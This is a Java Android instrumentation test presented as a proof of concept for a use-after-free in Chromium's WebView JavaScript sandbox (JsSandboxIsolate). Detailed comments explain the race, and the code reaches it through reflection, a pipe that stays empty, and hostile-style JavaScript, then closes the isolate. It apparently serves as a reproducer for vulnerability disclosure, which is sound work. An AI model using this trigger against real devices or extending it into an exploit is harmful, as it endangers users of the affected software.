/*
 * POC: UAF in JsSandboxIsolate — untracked ThreadPool task with
 *      Unretained(this) races against DeleteSelf
 *
 * CWE-416: Use After Free
 * Target: android_webview/js_sandbox/service/js_sandbox_isolate.cc:521-546,911-918
 *
 * This is an Android instrumentation test. Add it to:
 *   third_party/androidx_javascriptengine/src/androidTest/java/androidx/javascriptengine/
 * and add to the `javascriptengine_test` target in
 *   third_party/androidx_javascriptengine/BUILD.gn
 *
 * --------------------------------------------------------------------------
 * Mechanism
 * --------------------------------------------------------------------------
 * ConsumeNamedDataAsArrayBuffer() (js_sandbox_isolate.cc:911) posts
 * ConvertPromiseToArrayBufferInThreadPool to base::ThreadPool with
 * base::Unretained(this) — bypassing cancelable_task_tracker_ used by every
 * other task in this class.
 *
 * That task calls base::ReadFromFD() which is a blocking read() loop. The
 * pipe fd is moved out of named_fd_ into the task's ScopedFD parameter, so
 * it survives object destruction.
 *
 * When close() is called:
 *   Binder → DestroyNative → control_task_runner_ → DestroyWhenPossible →
 *   TerminateAndDestroy → cancelable_task_tracker_.reset() (no effect on
 *   the untracked task) → isolate_task_runner_ → DeleteSelf → delete this
 *
 * The ThreadPool worker is still blocked in read(). When read() unblocks
 * (writer closes or sends data), the worker dereferences the freed
 * `this->control_task_runner_` and makes a virtual PostTask call.
 *
 * --------------------------------------------------------------------------
 * Why this test is reliable
 * --------------------------------------------------------------------------
 * The public JavaScriptIsolate.provideNamedData(String, byte[]) API uses
 * Utils.writeBytesIntoPipeAsync() which writes the bytes to a pipe on a
 * background executor — the read may complete before close() is called.
 *
 * This test bypasses that helper and calls the AIDL stub directly with a
 * hand-crafted AssetFileDescriptor whose declared length is N but whose
 * pipe never has N bytes written to it. ReadFromFD() blocks indefinitely,
 * giving us an arbitrarily large window to call close() and let DeleteSelf
 * run.
 *
 * After delete this completes, we close the pipe writer. read() returns 0
 * (EOF), ReadFromFD returns false, and the worker accesses
 * control_task_runner_ on the freed object.
 */

package androidx.javascriptengine;

import android.content.Context;
import android.content.res.AssetFileDescriptor;
import android.os.ParcelFileDescriptor;

import androidx.test.core.app.ApplicationProvider;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.LargeTest;

import com.google.common.util.concurrent.ListenableFuture;

import org.chromium.android_webview.js_sandbox.common.IJsSandboxIsolate;
import org.chromium.android_webview.js_sandbox.common.IJsSandboxIsolateCallback;

import org.junit.Assume;
import org.junit.Test;
import org.junit.runner.RunWith;

import java.lang.reflect.Field;
import java.util.concurrent.TimeUnit;

@RunWith(AndroidJUnit4.class)
public class JsSandboxIsolateUafTest {

    // Declared size of the named-data buffer. The pipe will never receive this
    // many bytes, so ReadFromFD() blocks indefinitely.
    private static final int BLOCKED_LENGTH = 64 * 1024;

    /**
     * Extract the private AIDL stub from a JavaScriptIsolate so we can drive
     * the service interface directly with a hand-crafted AssetFileDescriptor.
     *
     * The high-level provideNamedData(String, byte[]) API auto-writes the
     * bytes to the pipe; we want a pipe that *stays empty*.
     */
    private static IJsSandboxIsolate extractStub(JavaScriptIsolate isolate)
            throws Exception {
        Field stateField = JavaScriptIsolate.class.getDeclaredField("mIsolateState");
        stateField.setAccessible(true);
        Object state = stateField.get(isolate);
        // IsolateUsableState.mJsIsolateStub is the live AIDL proxy.
        Field stubField = state.getClass().getDeclaredField("mJsIsolateStub");
        stubField.setAccessible(true);
        return (IJsSandboxIsolate) stubField.get(state);
    }

    @Test
    @LargeTest
    public void testUntrackedThreadPoolTaskUAF() throws Throwable {
        Context context = ApplicationProvider.getApplicationContext();
        Assume.assumeTrue(JavaScriptSandbox.isSupported());

        ListenableFuture<JavaScriptSandbox> sandboxFuture =
                JavaScriptSandbox.createConnectedInstanceAsync(context);
        JavaScriptSandbox sandbox = sandboxFuture.get(10, TimeUnit.SECONDS);

        Assume.assumeTrue(sandbox.isFeatureSupported(
                JavaScriptSandbox.JS_FEATURE_PROVIDE_CONSUME_ARRAY_BUFFER));
        Assume.assumeTrue(sandbox.isFeatureSupported(
                JavaScriptSandbox.JS_FEATURE_PROMISE_RETURN));

        // ---------------------------------------------------------------
        // 1. Create a pipe. Hold the writer open, write nothing.
        //    Declare length = BLOCKED_LENGTH so the service-side
        //    ReadFromFD(fd, span(buf, BLOCKED_LENGTH)) blocks on read().
        // ---------------------------------------------------------------
        ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
        ParcelFileDescriptor readEnd = pipe[0];
        ParcelFileDescriptor writeEnd = pipe[1];   // we keep this open

        AssetFileDescriptor afd = new AssetFileDescriptor(
                readEnd, /*startOffset=*/0, /*length=*/BLOCKED_LENGTH);

        JavaScriptIsolate isolate = sandbox.createIsolate();
        IJsSandboxIsolate stub = extractStub(isolate);

        // ---------------------------------------------------------------
        // 2. Hand the read-end to the service. JsSandboxIsolate::
        //    ProvideNamedData stores (fd, BLOCKED_LENGTH) in named_fd_.
        // ---------------------------------------------------------------
        boolean ok = stub.provideNamedData("payload", afd);
        if (!ok) throw new IllegalStateException("provideNamedData rejected");

        // The Binder transport dups the fd into the service process, so we
        // close our local read-end handle. The writer stays open here.
        afd.close();

        // ---------------------------------------------------------------
        // 3. Attacker-controlled JS calls consumeNamedDataAsArrayBuffer.
        //    On the isolate thread this:
        //      - allocates a BLOCKED_LENGTH-byte v8::ArrayBuffer
        //      - moves the fd out of named_fd_ into a ScopedFD
        //      - posts ConvertPromiseToArrayBufferInThreadPool to
        //        base::ThreadPool with Unretained(this)   <-- the bug
        //
        //    The JS returns a never-resolving Promise so the evaluation
        //    callback stays pending — this is what hostile JS would do to
        //    keep the isolate alive until a natural close() comes.
        // ---------------------------------------------------------------
        final String js =
                "android.consumeNamedDataAsArrayBuffer('payload');" +
                "new Promise(function(){});";  // never resolves

        // Use the raw AIDL call so close() goes through cleanly afterward.
        stub.evaluateJavascript(js, new IJsSandboxIsolateCallback.Stub() {
            @Override public void reportResult(String r) {}
            @Override public void reportError(int t, String e) {}
        });

        // ---------------------------------------------------------------
        // 4. Give the isolate thread time to run ConsumeNamedDataAsArrayBuffer
        //    and the ThreadPool worker time to enter blocking read().
        //    With zero bytes in the pipe, read() blocks immediately and
        //    indefinitely — a 500 ms wait is far more than enough.
        // ---------------------------------------------------------------
        Thread.sleep(500);

        // ---------------------------------------------------------------
        // 5. Close the isolate.
        //    Java close() → JNI DestroyNative
        //      → control_task_runner_: DestroyWhenPossible
        //      →   TerminateAndDestroy
        //      →     cancelable_task_tracker_.reset()
        //              ⟶ DOES NOT cancel the ThreadPool task (it was
        //                 posted via base::ThreadPool::PostTask, not
        //                 via the tracker)
        //      →     isolate_->TerminateExecution()
        //              ⟶ DOES NOT unblock POSIX read()
        //      →     isolate_task_runner_->PostTask(DeleteSelf)
        //      → isolate thread: DeleteSelf → delete this
        //          ~JsSandboxIsolate destroys context_holder_,
        //          isolate_holder_, control_task_runner_ (refcount drop),
        //          and frees the JsSandboxIsolate object itself.
        //
        //    The ThreadPool worker is still inside read() while all of
        //    this happens.
        // ---------------------------------------------------------------
        stub.close();

        // ---------------------------------------------------------------
        // 6. Let DeleteSelf reach `delete this`.
        //    This crosses three thread hops; 500 ms is generous.
        // ---------------------------------------------------------------
        Thread.sleep(500);

        // ---------------------------------------------------------------
        // 7. Close the pipe writer. The service-side read() returns 0
        //    (EOF). ReadFromFD returns false. The worker then runs:
        //
        //      control_task_runner_->PostTask(...)
        //
        //    on the freed JsSandboxIsolate. ASAN: heap-use-after-free.
        //
        //    On scope exit, the unique_ptr<v8::Global<ArrayBuffer>> and
        //    unique_ptr<v8::Global<Promise::Resolver>> destruct, calling
        //    GlobalHandles::Destroy on freed isolate handle storage —
        //    a second UAF write.
        // ---------------------------------------------------------------
        writeEnd.close();

        // Give ASAN time to fire and dump before the test process exits.
        Thread.sleep(2000);

        sandbox.close();
    }
}
